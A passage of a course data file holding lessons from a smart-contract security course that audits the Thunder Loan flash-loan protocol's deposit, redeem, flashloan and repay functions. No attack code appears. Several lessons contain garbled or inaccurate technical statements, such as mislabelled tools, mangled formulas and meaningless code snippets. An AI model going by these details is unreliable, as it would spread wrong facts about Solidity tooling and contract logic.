way that this could break and make the total supply zero? Questions to consider.\n\n![](https://cdn.videotap.com/SLGckrl4g0AjIi7bUdwS-230.62.png)\n\nWe check for a condition `if newExchangeRate <= oldExchangeRate`, then instruct it to revert, with a message saying, \"Exchange rate can only increase.\" The condition itself is a clear implementation of the invariant principle stated earlier. On the other hand, if the new exchange rate is higher, it sets `sExchangeRate = newExchangeRate` before emitting an event.\n\nAt a first glance, this function seems correct and ready to run. It updates the exchange rate, a crucial variable in the relationship between the shares and the underlying assets. The rate update mainly seems to be triggered by fees.\n\n## Some Possible Improvements\n\nAn important aspect that one could focus on is the multiple storage reads in the `updateExchangeRate( )` function— `s_ exchangeRate`, `s_totalSupply`, and `s_fee`. Given that storage reads are gas expensive, you could possibly optimize this by storing them as a memory variable—an aspect to consider during an audit for gas usage.\n\nNote: Sometimes, it is the experience that helps spot these potential storage issues. For instance, if you see multiple s\\_ syntax terms, that might be a hint about multiple storage operations.\n\n![](https://cdn.videotap.com/tGc23bAltPLCCdT51Y39-303.45.png)\n\nDespite not discovering any immediate problem with the contract, analyzing this function helped us understand the contract better. We now know how the exchange rate behaves, and it's clear that the fee plays a significant role in its computation.\n\nIn the next phase, we plan on investigating two more functions—ThunderLoan and ThunderLoanUpgraded. We'll tackle ThunderLoan first, understand its functionalities thoroughly, then move onto ThunderLoanUpgraded to identify the upgrades.\n\nStay tuned in for our exciting journey as we delve deeper to explore these functions. Keep coding!\n", + "updates": [] + }, + { + "lessonId": "3f374647-b6b6-4687-bda5-c4262ae1a79a", + "number": 26, + "title": "Thunderloan: Starting At The Top", + "slug": "thunderloan-starting-at-the-top", + "folderName": "26-thunderloan-starting-at-the-top", + "description": "", + "duration": 9, + "videoUrl": "f1IpKW4LR6QUm3V7DWwnXIp5Pno022WuYMkMFyJqN71Y", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/26-thunderloan-starting-at-the-top/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Starting At The Top\n---\n\n## Initial Exploration: Imports\n\nBefore we get our hands dirty with the functions, we start our journey with imports. There's plethora of imports in there, some of which include `Safe ERC 20`, `Asset token`, `IERC 20`, `Metadata`, `Ownable upgradable`, `Initializable`, `UUPs upgradable`, `Oracle Upgradable`, just to name a few.\n\nIn order to facilitate the learning process, I will provide a preamble of our focus in each section, \"priming your brain\" to absorb the upcoming content. Educational studies support this method, indicating that offering a high-level overview before delving into deeper detailing enhances the learning experience.\n\n**Quick tip:** In order to better understand protocols, remember to go through their read-me's for a bird's eye view before examining the individual codes.\n\nFollowing this advice, let's start piecing together the puzzle. `Ownable upgradable` might be a newer import to some, so it might be beneficial to quickly explore it in Open Zeppelin. This is the only-owner contract but with an upgradable version. Taking a close look, we see that it uses `ownable init` and needs to set an initial owner and transfer ownership.\n\n![](https://cdn.videotap.com/kyjLSLgBPsyDSSFpZ9P1-124.85.png)\n\nWe also find a reference to `UUPs upgradable`, which implements the UUPs proxy pattern, a common pattern for smart contracts. If you’re unfamiliar with the UUPs proxy, I strongly recommend that you brush up on it or you could revisit the Foundry course and specifically look at the `Foundry upgrades F 23` for a better understanding.\n\nFinally, in the list of our imports, we come across `iFLASH loan receiver`, which is a library offering easier to use functions like `send value`.\n\n## Diving Deep into the Smart Contract\n\nNext up, we ask, \"While going top to bottom, have we asked enough questions?\" Since there aren’t major issues with the imports, we move on.\n\nLooking at the contract `Thunderloan`, it is clearly recognizable that it extends `Initializable`, `Ownable upgradable`, `UUPs upgradable`, and `Oracle Upgradable`. Checking whether it should extend anything else, we find no, it's all good here.\n\n![](https://cdn.videotap.com/8ErUx4D6tAmn03SvJNAC-218.48.png)\n\nIn the next section, we encounter a bunch of constants and state variables, first of which is `token to asset token`. To gain a better understanding of its role, we do a quick search and find that it’s used in various operations like deposit, redeem, Flash loan, etc.\n\n```code\n// State variableS token to asset token\n```\n\nAfter some explanation and assumptions, we infer that this maps the underlying token to its asset token. For example, if a liquidity provider deposits USDC, it will generate a USDC asset token, representing the amount of USDC you've deposited.\n\nFollowing this, we stumble upon `fee in way`, which we verify by checking its initialization in the initializer function.\n\nAlso, we encounter an auditing issue that `fee precision` should be either constant or immutable.\n\nNext is `token to currently flash loan`, so this is assumedly a mapping that notifies us if a token is mid flash loan.\n\n## Delving into the Modifiers of our Smart Contract\n\nWell, we’ve had our fair share of state variables. Now, it's time to unravel the modifiers.\n\n```code\nrevert if zero\n```\n\nThis modifier reverts operation if amount equals zero. The other modifier `revert if not allowed token`, ensures operation would only proceed with allowed token only.\n\nTurns out, there's a precheck for tokens, which as a result reduces the risk of passing bad tokens to the contract.\n\n```code\nmodifier not allowed token\n```\n\nWe find a function named `is allowed token`, and upon exploration, it returns `s token to asset token of the token does not equal zero`. Therefore, it seems it's only allowing a token if it has been set before.\n\nLastly, we observe that most of this looks benign so far, but remember we're just getting started. In this initial inspection, we haven't really delved into the functions yet. But rest assured, there's more to find in this intriguing world of the Thunderloan Sol smart contract!\n", + "updates": [] + }, + { + "lessonId": "43164196-4157-43e1-a634-c202d8fd2b9e", + "number": 27, + "title": "ThunderLoan Functions", + "slug": "thunderloan-functions", + "folderName": "27-thunderloan-functions", + "description": "", + "duration": 8, + "videoUrl": "NDd01ZCx8HtMKpkGgZhXyNea02ghmGz8co4K6WdmX00EmQ", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/27-thunderloan-functions/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Functions\n---\n\n# Demystifying Smart Contracts: A Deep Dive into Functions, Constructors and Operators\n\nLearning how to build smart contracts is challenging, but the rewards are immense. To help you on this journey, in this blog post, we will scrutinize the intricate workings of smart contract functions, constructors, and more.\n\n## Beginning with the Constructor\n\nFirst things first, we start by defining a constructor with a custom Oz (OpenZeppelin) upgrade — `Unsafe Allow Constructor`. This construct serves to pacify static analysis tools that generally get riled up with all the initializer tricks we use.\n\nA vital keyword we use is `DisableInitializers` that originates directly from the Initializable package. It's a safeguard to prevent the inadvertent calling of any initializers in the constructor, an act we want to avoid at all costs because our smart contract is upgradable, and it exists behind a proxy.\n\n### Understanding OwnableInit\n\nWe already mentioned the effects of `initializer` modifier, particularly how it could get front run. Now, let's talk about `OwnableInit`. This function merely facilitates the transfer to the preliminary owner.\n\n### Diving into UpgradableInit\n\nThis function has the same modus operandi as `UUPsUpgradableInit`, setting up storage for UUPs. However, considering UUPs is a comprehensive subject, we will not go into its details for now.\n\n### Getting Familiar with OracleInit\n\nTo further understand `OracleInit`, imagine using T-Swap (an address) as a kind of oracle. There's also the initial fee precision and initial fee for flash loans.\n\n## The Deposit Function\n\nThis is a very crucial function and, yes, it's missing Natspec! It's essential to call this out and highlight the necessity of the Natspec. This function is responsible for allowing users to deposit their tokens into the contract, thus facilitating flash loans for other users.\n\nA few key takeaways from the deposit function:\n\n- If the deposited `amount` is zero, revert\n- If the token is not an allowed token, revert\n- The function also employs the mapping `sTokenToAssetToken` to evaluate which sToken corresponds to which AssetToken\n\n## Setting Allowed Tokens\n\nA healthy exercise in understanding how these tokens are determined, let's look at the `setAllowedToken` function. In effect, it facilitates the setting or removal of tokens.\n\nThis critical function is permissioned and can only be executed by the owner of the protocol. Here's how it works:\n\n- If the token is allowed, it is added to the `sTokenList`\n- If the token is to be disallowed, the function will proceed accordingly\n- The function reverts with the status of the token, i.e., whether it is `already allowed` or not\n\n## Conclusion\n\nIn conclusion, the journey into the realm of smart contracts can be a bit tricky and complex. Still, by analyzing the various functions and their specific roles, one can gain a solid understanding of their dynamics and workflow. Persistent learning, constant practice, and a practical mindset are all that's required to master smart contract development. And remember: always make use of Natspec for the sake of readability and developer friendliness. Happy Coding!\n", + "updates": [] + }, + { + "lessonId": "5a4c33fb-b6dc-4a5d-99fd-d123dbfddc28", + "number": 28, + "title": "Testing Deleting Mappings", + "slug": "testing-deleting-mappings", + "folderName": "28-testing-deleting-mappings", + "description": "", + "duration": 3, + "videoUrl": "JQQsYsbP6ROypwK7802vWVRc163DtCQDtd4fUlUIM8Q4", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/28-testing-deleting-mappings/+page.md", + "markdownContent": "---\ntitle: Testing Deleting Mappings and Fixing Our Tools\n---\n\n# Smart Contracts and Data Management: A Deep Dive into Token Mapping and Deletion\n\nWelcome to our deep dive discussion on asset tokens, deleting mappings, and the peculiarities of Solidity smart contracts. Today, we'll unravel how smart contracts interact with asset tokens and the possible pitfalls and bugs that can arise as we develop our applications.\n\n## Deletion and Checks in Asset Token Mappings\n\nIn a smart contract, we typically assign values and map `address` to `assetToken`.\n\nThis line means, simply, we're assigning the token located at `assetToken` to a variable also named `assetToken`.\n\nNow, this can lead to a critical question:\n\n> Does deleting a mapping work?\n\n![](https://cdn.videotap.com/EFG0Cihz1p7oQkV1y9Hx-36.9.png)\n\nIt's a valid question because let's say we have several checks on `assetToken == 0`. If the deletion process doesn't work as expected, our asset won't return to 0. So, how do we test this?\n\n## Testing Deletion with Chisel\n\nTo explore this, I decided to pull up Chisel, a Solidity language extension for Visual Studio, and create a mapping with the structure `address` to `address`.\n\nIn theory, when I look up `tokenToToken[address1]`, I'll get `address2`. Now, let's go ahead and attempt deletion:\n\nConsequently, when I look up `tokenToToken[address1]` after the deletion, I'm still getting `address2`. Clearly, something is off here.\n\n![](https://cdn.videotap.com/nqmehgM9xG2CGsHOR1yI-80.5.png)\n\n## Digging Deeper with Remix\n\nTo further understand the issue, let's pull up Remix, a powerful, open-source tool used for writing Solidity smart contracts. We'll create a simple contract, aimed at mapping `address` to `address`.\n\nFollowing similar steps as before, we'll set the mapping between an account address and the contract address, then delete the mapping, and finally, check the mapping again.\n\nThis time we get zero, contrary to what Chisel showed.\n\n## A Bug in Foundry\n\nThe probable conclusion? There's likely a bug with Foundry.\n\nYour logical next step should be heading to Foundry's GitHub page and opening an issue. Check out the existing issues first, of course. Search for \"Chisel mappings\" and see if there's a relevant issue already there. If nothing matches, make a new issue indicating the problem with Chisel mappings deletion.\n\nHere we've encountered a real-life bug, and we have done our part to inform the community about it. So, until next time, keep exploring, keep debugging, and keep developing.\n", + "updates": [] + }, + { + "lessonId": "380a7e19-c5ed-471c-a3d6-dbe8ad472e6e", + "number": 29, + "title": "Note On Linear Progress", + "slug": "note-on-linear-progress", + "folderName": "29-note-on-linear-progress", + "description": "", + "duration": 2, + "videoUrl": "p01naqjLJp2ZRu00gU7TJgYticLIfIrkO7lAS4nG9FUC4", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/29-note-on-linear-progress/+page.md", + "markdownContent": "---\ntitle: A Note On The Linear Progress Of Security Reviews\n---\n\n# Evaluating Smart Contract Security: Journey Through \"Thunder Loan\"\n\nWelcome, tech lovers! Today, we're taking a deep-dive into the riveting world of smart contract audits. In this post, we'll be dissecting a Tech Talk where we audited a smart contract named \"Thunder Loan.\" Buckle up, it's going to be an exciting learning experience!\n\n## Remix vs Chisel: The Battle of Testing Tools\n\nIn the world of software development, it's not uncommon to use different tools for testing code. In this instance, we initially tested Thunder Loan using Remix and throughout our auditing process, we discovered a few things that are worth mentioning.\n\n_Fire up your terminal, it's time to discuss some code!_\n\n![](https://cdn.videotap.com/86697zC0OHfWSFQSGKUh-13.33.png)\n\nWhen we attempted to delete particular sets of code, it appeared to work in Remix quite fluidly.\n\n```javascript\ndelete this;\n```\n\nDespite the successful outcome in Remix, the same could not be said when we tried it in Chisel. As a coding auditor, I can safely say Remix was more accurate in this case. Chisel was, unfortunately, incorrect in its evaluation of the aforementioned code.\n\n## Emitting Tokens and Asset Returns\n\nNext, we looked into the `Emit allowed token set` function. After careful examination, we were pleased to see that the system accurately complied.\n\n```javascript\nemit allowedTokenSet;\n```\n\nFollowing this, we went on to return the asset tokens.\n\n```javascript\nreturn assetToken;\n```\n\nAgain, this process appeared to run smoothly. Keep in mind; one crucial aspect of an audit is multiple points of review. This helps maintain precision in an audit. I usually do an \"Okay\" check at the start and then perform another towards the end, as in \"Audit in Foe.\"\n\nAlso, another point to ponder; many tools such as Darren catch the \"needs Nat spec\" command pretty well. So while it may not seem necessary to include this, it could assist in accurate evaluations and maybe even in bug spotting!\n\n## Deep Dive into the Deposit Function\n\nNow we've arrived at another integral part of our audit – the deposit function. Furthermore, we explored the selection process for tokens.\n\n```javascript\nadd Token;remove Token;\n```\n\nHere, things got a tad more interesting. The code seemed to be allowing the addition and removal of tokens at the will of the owner. While this is generally great, it might potential problems in the future. But, of course, only time will unveil that truth.\n\n## Understanding the Non-linear Nature of Audits\n\nSo far, we've gone through at least one function of Thunder Loan, and guess what - No bugs yet! But don't let that fool you. The absence of bugs at the initial stages does not necessarily illustrate a perfect system.\n\n> \"Security reviews are often not linear. It's not like, oh, found a bug here, found a bug here, here, and then three bugs here, and then done. No! They are often exponential.\"\n\nBy the time auditors gain a comprehensive understanding of the codebase, they are better equipped to identify bugs. If bugs are found along the way, that's a bonus!\n\n## A Final Word\n\nAt the end of the day, a thorough audit is more about understanding than it is about unearthing bugs. The more you understand the code, the more efficient you become in identifying any potential or existing bugs. As discouraging as it might seem when bugs fail to show up initially, remember, it's all part of the process! Happy coding, everyone!\n", + "updates": [] + }, + { + "lessonId": "b1f60e02-ebdf-4dc1-a994-d22df5ceefa5", + "number": 30, + "title": "ThunderLoan Continued", + "slug": "thunderloan-continued", + "folderName": "30-thunderloan-continued", + "description": "", + "duration": 5, + "videoUrl": "CLFwX7c7IpFlLXaaXRWiRdAElwI9C9o14xpJmSOO016g", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/30-thunderloan-continued/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol (Continued)\n---\n\n# Understanding Asset Tokens and Exchange Rates in Thunder Loan\n\nHello coders! In this blog post, we're delving into the world of contracts and tokens. If you're here, you know that asset tokens represent the shares of the pool. But honestly, how many times have we gone over that?\n\nStill, it's crucial to understand that the asset token represents just how much of the contract the whale or depositor actually owns.\n\n## Getting the Asset Token\n\n![](https://cdn.videotap.com/2I1K8YkcCB7hMk6vhMGv-37.2.png)\nTo get the asset token, you simply use `AssetToken get exchange rate`. Here we're getting the exchange rate between USDC (the USD Coin) and the flash loan tokens. The key question here is: what ratio exists between these flash loan tokens and the underlying tokens?\n\n## Minting the Amount\n\nYour mint amount is calculated from the amount deposited, maybe around 100 USDC, times the exchange rate precision times the asset rate. The exchange rate precision usually defaults to `1E 18`.\n\nFor all you math enthusiasts, here's the calculation flow:\n\n```bash\nExchange rate precision = 1E 18100 (deposit amount) x 1E 18 (exchange rate precision) / Exchange rate = Mint amount\n```\n\nIf the exchange rate is 2, then you would have half the flash loan tokens in exchange for the 100 USDC, which stands to reason logically.\n\n> An important point to note here is that we cannot divide by zero in this context. The exchange rate cannot be zero and should preferably always be increasing, never decreasing. If you start at one, it should never decrease to zero due to the way asset tokens are conditioned.\n\n## Emitting the Event\n\nThe role of the event emitter comes into play high up in this process when we call `AssetToken mint`. This is only callable by the Flash Loan investors and passes fine, giving the depositor the mint amount.\n\nInterestingly, when a liquidity provider deposits, the money sits in the asset token contract, not in Thunder Loan. Hence, the money goes directly to the asset token contract.\n\n## Calculating the Fee and Updating Exchange Rate\n\nIn our final stage of the process, the calculated fee is determined using `getCalculatedFee`; this updates the exchange rate and the asset token amount is transferred from message sender to the address of the asset token.\n\nHere's where it could get a little confusing. Why are we calculating the fee of the flash loans at the deposit? And why are we updating the exchange rate?\n\nLet's examine the first issue; our flash loan calculation process goes like this:\n\n```bash\nValue of borrowed token = Amount x getPrice / Fee precisionFee = Value of borrowed token x Flash loan fee / Fee precision\n```\n\nHowever, it's perplexing as to why the fee of the flash loans would be calculated at this juncture in the depositing process.\n\nSecondly, the matter of updating the exchange rate also raises questions. If tokens are deposited, the exchange rate varies. If more is deposited, then what would the exchange rate be? This part seems a little disorienting, definitely warrants a follow-up audit as there may be something off here.\n\nOnce these two issues are addressed, the process should work correctly. The user gets minted some asset tokens and the tokens are then transferred to the underlying.\n\nThere are a few perplexing areas as noted which we look forward to addressing in future posts. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "f2a37dbe-b59a-4741-b749-a9a1f05c5d59", + "number": 31, + "title": "Diagramming ThunderLoan", + "slug": "diagramming-thunderloan", + "folderName": "31-diagramming-thunderloan", + "description": "", + "duration": 1, + "videoUrl": "uRxx2sXvfvMwm63IgNfNtEJIZW8Rr5101ggaObmKTmoM", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/31-diagramming-thunderloan/+page.md", + "markdownContent": "---\ntitle: Diagramming Thunder Loan\n---\n\n# Understanding the Asset Token Lifecycle: A Deep Dive\n\nLooking at the origin of tokens can sometimes seem like staring into an abyss, especially when one is trying to break down complex DeFi protocols like how an Asset Token comes alive. However, it's not quite as convoluted as you might initially think. Grab a beverage of your choice, strap down and come with me on an exploration of the Asset Token Lifecycle.\n\nFirst, let's get started by laying the schematic foundation, the blueprint of our Asset Token universe. Transitioning thoughts into visuals and diagrams. You know, because a picture says a thousand words right?\n\n## The Basic Anatomy of the Asset Token\n\n![](https://cdn.videotap.com/2sWH0NEKSYYOOCz3JhNl-7.47.png)\n\nAn essential part of the Asset Token lifecycle begins with the liquidity provider (LP), who owns USDC. As a first step, the LP 'calls deposit' to kickstart this entire process. The underlying USDC is sent to the asset token (Say, Asset Token A or USDC) during this deposit process.\n\n> _The deposit kickstarts the process, triggering a transaction into the Asset Token._\n\nAt this stage, the contract governing the Asset Token is crucial. This contract plays the role of a storehouse, a vault that holds and secures the underlying USD.\n\n## Asset Token Orchestrating Transactions\n\nOur adventure into the Asset Token Lifecycle takes us deep into the heart of interactions and transactions between different entities. The USDC held by the liquidity provider is sent over to the Asset Token post the deposit call. But that's not where the transactions stop.\n\nFinally, the Asset Token mint machine kicks into gear. The asset token mints the LP an equivalent amount of the underlying USD, following the deposit and storage of USDC. Seem complex? Let's simplify with a diagram!\n\n![](https://cdn.videotap.com/2jNGLhZwIkTe4vPJr8UC-24.27.png)\n\nHere's how the transaction process goes:\n\n1. The LP owns USDC.\n2. The LP calls deposit, signaling intent to transition the USDC into an Asset Token.\n3. This deposit triggers a sequence where the USDC moves from the LP to the Asset Token.\n4. Once the USDC is in the Asset Token, the Asset Token mints an LP against the equivalent USDC.\n\nBy reaching this point, we've successfully navigated the murky waters of the Asset Token lifecycle, from deposit call to minting of the LP. This journey underscoring the power of decentralized finance offers valuable insight into the ecosystem. But there's so much more to explore - start digging deeper into contract calls, consensus algorithms and tokenomics right now!\n\nIn our opening diagram and explanation, the statements might seem broad or oversimplified – that is far from the case! Each step occurs in a well-defined, precision-driven process. It's a well-oiled machine, offering insights into the unseen side of token generation and distribution. We shall continue to dissect further and reveal more layers to this 'simple' transaction as we move ahead.\n", + "updates": [] + }, + { + "lessonId": "8fd6d0f7-584f-4553-a0c0-13843171df18", + "number": 32, + "title": "ThunderLoan Redeem", + "slug": "thunderloan-redeem", + "folderName": "32-thunderloan-redeem", + "description": "", + "duration": 5, + "videoUrl": "UDidaP003wldQY55X99EvQ02723BGqVBOFtx5Ez024NNaw", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/32-thunderloan-redeem/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Redeem\n---\n\n# How to Deposit and Redeem Asset Tokens: A Deep Dive into Blockchain Functions\n\nWelcome back to the world of token functions! Today, we're going to dive deep into deposit and redeem functions in a blockchain-based system. Strap in!\n\n## Diving into the 'Deposit' Function\n\nFirst, let's revisit the `deposit` function. This function allows a user to deposit an underlying token in exchange for an asset token. In essence, the user puts their underlying token into the pool and receives the equivalent amount of asset tokens in return. We may return to it later, but it's critical to understand this function before we dig deeper into the `redeem`.\n\n## Understanding the 'Redeem' Function\n\n![](https://cdn.videotap.com/PFna6Zl1YqUpuTWXUXwx-48.27.png)\n\nMoving on, the `redeem` function plays the opposite role. Where the `deposit` function pulls in an underlying token, the `redeem` function withdraws the underlying token from the asset token. When using this function, we must specify the token from which we want to withdraw, and how much therein we want to withdraw.\n\n#### The Token Ambiguity\n\nAt this point, you might be wondering - does \"token\" refer to the asset token or the underlying token? After a detailed scrutiny, we confirmed that it refers to the actual token to be withdrawn, not the asset token.\n\n![](https://cdn.videotap.com/ez1kq5fAGd1OgsIQfDqE-86.88.png)\n\nComing back to our code, we need to determine the exact asset token to withdraw (let's call it the 'actual asset token'). We have a revert of zero if the token is not allowed to be withdrawn, thus eliminating any unauthorized tokens.\n\n#### On User Experience and Exchange Rates\n\nThis code incorporates an eye for user experience. If the amount equals the maximum, the contract returns the balance of asset tokens for the address (or 'message sender'). This function essentially lets a user say, \"I have ten asset tokens for USDC, I want USDC equivalent to these ten tokens.\" And our function does exactly this.\n\n![](https://cdn.videotap.com/54JcHcJspGCdA0pezifC-125.5.png)\n\nThe maths underline the code logic:\n\n```javascript\namount_underlying =\n (amount_of_asset_token * exchange_rate) / asset_token_exchange_rate_precision;\n```\n\nThis takes into account the precision of the exchange rate - if the user wants `1 E 18` and the exchange rate is `1 E 18`, dividing by `1 E 18` would yield a `1 E 18` back.\n\nThe function then emits a `redeemed` event and calls `assetsBurn` to burn the asset tokens from the user's holdings. This mirrors the process of deposit, but in reverse: where deposit multiplied the precision by the exchange rate, this instead multiplies the exchange rate by the precision.\n\n#### Handling Weird ERC 20 Tokens\n\nLooking at it from the outside, everything seems to be falling into place. But what if we're dealing with a non-standard ERC 20 token? Let's consider `USDT`, which has six decimals instead of eighteen (thus being referred to as a 'weirdo'). Would the equation still hold? After some calculations and investigations, we found that it does!\n\n![](https://cdn.videotap.com/jWxqkTW1E5Jz4AjmtCqu-202.73.png)\n\nThe redeem function came out looking pretty solid. There was no apparent issue with re-entry and it seemed to follow \"Checks-Effects-Interactions\" (CEI) principle, where it checks upfront, performs certain effects, and then carries out any required interactions. DEI is a widely-accepted guideline in Ethereum community to avoid common issues such as reentrancy attacks.\n\nWith `redeem` function now in tow, we have two important functions - `deposit` and `redeem` - both seemingly bug-free.\n\n![](https://cdn.videotap.com/nNvbG3E0OfsqbxJORxX2-231.69.png)\n\nIn conclusion, while blockchain functions like `deposit` and `redeem` can look complicated, breaking them down and understanding what each element does turns these seemingly convoluted calculations into understandable steps. As with anything in blockchain, the devil is in the detail - and it's safe to say we've captured all of them here. Stay tuned for more deep dives into the world of blockchain functions!\n", + "updates": [] + }, + { + "lessonId": "bca8e64a-09ac-40e0-a723-f0100b143e4d", + "number": 33, + "title": "ThunderLoan Flashloan", + "slug": "thunderloan-flashloan", + "folderName": "33-thunderloan-flashloan", + "description": "", + "duration": 14, + "videoUrl": "mIat702o8cYQBwwz9jQMIXOO855n02G2sn26Wu9wwQFmQ", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/33-thunderloan-flashloan/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Flashloan\n---\n\n# Understanding the Flash Loan Function\n\nIn reviewing, understanding, and working with the flash loan function in a smart contract, I encountered a few challenges due to the lack of a Nat Spec. But fear not, in this blog post, we'll walk through it, figure out what each parameter does, and build the Nat Spec ourselves.\n\n## Decoding the Parameters\n\n![](https://cdn.videotap.com/70D5PzXZylGPTZ8Ak7ea-44.44.png)\n\nThe main parameters in the flash loan function are:\n\n- Receiver address : This is probably the address that should receive the flash-loaned tokens, essentially, where to send the borrowed tokens.\n- ERC 20 : This is the token you want to borrow.\n- Amount : Obviously, this would be the amount you want to borrow.\n- Params : These are the function call parameters for the receiver address. Meaning, when the flash loan function sends the tokens to the receiver address, it will also send these parameters. It is important to note here that the receiver address is expected to be a smart contract.\n\n## Function Breakdown\n\nTo get a better understanding, we should examine each line of the function.\n\n```\nrevert is 0;revert if not allowed token;\n```\n\nWhile these lines may seem perplexing, they are simple checks, the first is to ensure that the function does not revert right out of the gate and the second verifies that the token is allowed. To understand this, you can look into the `isAllowedToken()` function.\n\n```\nAsset token = s_2 asset token of the token.\n```\n\nHere, `assetToken` is the contract that holds the underlying tokens we want to borrow.\n\nA critical part of the function is getting the `startingBalance` of the asset token contract, which will come in handy later on when we verify if the flash loan has been repaid.\n\nIf the `amount` to borrow is more than the `startingBalance`, it means that the function is trying to borrow more than the total available tokens, and it will resultantly revert and terminate the operation.\n\nIn addition to the checks mentioned above, the function verifies the code length of the receiver address. If it equals zero, the operation is once again reverted.\n\n## Understanding the Fees\n\n![](https://cdn.videotap.com/nrDYkgtsrD1YCbh5GO4J-474.07.png)One thing that might seem confusing initially is how they calculate the fee. `getCalculatedFee()` is the function that gets used for that. It's important to note that this fee is the contract's charge to facilitate the flash loan operation.\n\nTo make more sense of this, it's useful to go back to this line:\n\n```\nAssetToken.updateExchangeRate (fee)\n```\n\nHere, the `updateExchangeRate` of the `AssetToken` contract is getting updated with the `fee`. In essence, this step ensures the protocol updates the exchange rate so that everything adds up mathematically with the introduction of the new fee.\n\n> It's important to pause here and do some quick math to fully grasp the impact of the fee on the exchange rate.\n\n## The Flash Loan in Action\n\n![](https://cdn.videotap.com/m50tzcSXOfTUOdDNWqXL-622.22.png)Now that we have understood what each parameter does, we can actually do a quick run-through of the function. Here are the steps:\n\n- The user calls the flash loan requesting for a specific amount of a specific ERC20 token.\n- The function verifies the code length of the receiver address and the amount of the requested token, checks the starting balance of the underlying asset token contract, and verifies if the flash loan has been repaid.\n- If all checks out, the necessary amount of tokens are transferred to the receiver address via `AssetToken.transferUnderlyingTo()`.\n- The function interface calls the `executeOperation` of the receiver contract using the provided params for further operations.\n- Ultimately, it expects the receiver contract to call the `repay` function, sending back the borrowed amount plus the fee.\n\n## Conclusion\n\nWalking through this function sheds light on how a flash loan function works in conjunction with other pieces of a smart contract. However, it's always critical to do your own due diligence and research, check out how other protocols implement similar functionalities, and learn from existing work.\n\nHappy coding!\n", + "updates": [] + }, + { + "lessonId": "cc8b39c4-b859-4c01-a12a-45e910bac4bf", + "number": 34, + "title": "Note On Being Discouraged", + "slug": "note-on-being-discouraged", + "folderName": "34-note-on-being-discouraged", + "description": "", + "duration": 1, + "videoUrl": "hOBNkY3LshFw5mv9WRuS61yKT477CvLgoPFeV6yzsIw", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/34-note-on-being-discouraged/+page.md", + "markdownContent": "---\ntitle: A Note On Being Discouraged During The Audit Process\n---\n\n# Understanding the Complexity of Codebase Audits: An In-Depth Exploration\n\nIn the world of coding, auditing your codebase is akin to a treasure hunt. Only in this case, the treasure isn't chests of gold and diamonds, but issues and flaws that need to be addressed. It’s a crucial process for maintaining code quality and ensuring your app's security. At times, the search can appear discouraging, especially when a clear solution or bug isn't immediately evident. This blog post will dive into the complex world of codebase audits and why it may sometimes feel like you're going around in circles, even though you’re on the right track.\n\n![](https://cdn.videotap.com/zCv8VBC70weROS4c3wJa-1.69.png)## Unraveling the Codebase: Do You Have Any Audit Highs?\n\nHaving reached this point, you're likely deep into your codebase, scanning various components and notes, and your eyes may have become glossed over with `SRC` entries. You’ve probably posed the question “Do we have any audit highs?”\n\nThere's no sugarcoating it: learning that you haven't unearthed any 'high' flag issues may feel deflating. After all, you’re searching for bugs that pose serious risk and, logically, finding a higher risk issue means you’re making progress, right? Unfortunately, this reasoning skips a very important point: security reviews are not linear.\n\nIt's not as simple as starting at Point A and proceeding seamlessly to Point B. Sometimes, you only find small, lower-risk issues. Sometimes, you hit a wall. And occasionally, you find exactly what you've been looking for.\n\n## Perseverance is Key: Addressing Absence of Medium-category Issues\n\nThe feeling of dismay might deepen when you move to the next level - the medium-category issues, only to discover a similar scenario – no apparent bugs. These mid-level issues often provide a balance between complexity and harm potential, making them valuable finds during the audit process.\n\nThe very absence of any high or medium level issues might make you question - “What's going on?”\n\nAnd this is where the answer starts to become apparent.\n\n> **Remember, security reviews are not linear.**\n\n## The Non-linear Nature of Security Audits\n\nJust as with any code review, a ton of questions may spring up, some of which will remain unanswered. Within these mysteries could be hidden the very bugs you seek. You might have already spotted some bugs but dismissed them because they didn't fit into the 'high' or 'medium' categories you were actively searching for.\n\nThat’s why it’s so important to remember that path isn't a straight line. It might feel like you're going in circles, but each review, each question asked, and each bug found is a step forward.\n\nRemember, it’s not about high or medium issues; it's about the hunt for irregularities that can compromise your application's security. It’s arduous and often tedious, but that doesn’t mean you’re not making strides. Every time you cycle through your code, peering at it from all angles, you're gaining a broader perspective and understanding of how your codebase functions.\n\n## Conclusion: Keep Going\n\nSo, next time you find yourself wrapped up in a painstaking codebase audit, don’t be discouraged if you’re not finding high or medium issues. Remember the nature of security reviews—they are complex, they are multifaceted, and they are definitely not linear.\n\nKeep going, keep searching, and trust that while the path may seem winding and peppered with dead ends, it is leading you to a more robust and secure codebase.\n", + "updates": [] + }, + { + "lessonId": "177ebf9d-fe5d-40e0-9892-5757986d60ff", + "number": 35, + "title": "ThunderLoan Repay Final Functions", + "slug": "thunderloan-repay-final-functions", + "folderName": "35-thunderloan-repay-final-functions", + "description": "", + "duration": 8, + "videoUrl": "Ee00dg01KILGC00j6gt18HujZeTD952asb5VyFl01L6Tt2A", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/35-thunderloan-repay-final-functions/+page.md", + "markdownContent": "---\ntitle: Thunderloan.sol - Repay and Final Functions\n---\n\nTitle: Simplifying Cryptocurrency - Understanding and Breaking Down the Repay Function on Thunder Loan Contracts\n\nWelcome to the intriguing world of Thunder loan contracts! Today, we'll dive into the complexities of the repay function and how it fits into the broader cryptosphere.\n\n## Repay Function: An Overview\n\nYou may wonder why users are expected to use this foundation of Thunder loan contracts. The repay function could be termed a helper function as it essentially facilitates the transfer of tokens from the message sender to the asset token.You could choose to use this function or proceed with a direct transfer.\n\n![](https://cdn.videotap.com/clirVfwioc458w6aVh7V-53.02.png)> _Quick Note:_ Direct transfers can be initiated by simply calling the transfer function and then directing tokens to the asset.\n\nIn our evaluation, the repay function passed the net spec check with flying colors. It contributes significantly to the handling of allowed tokens in the contract.\n\n## Decoding 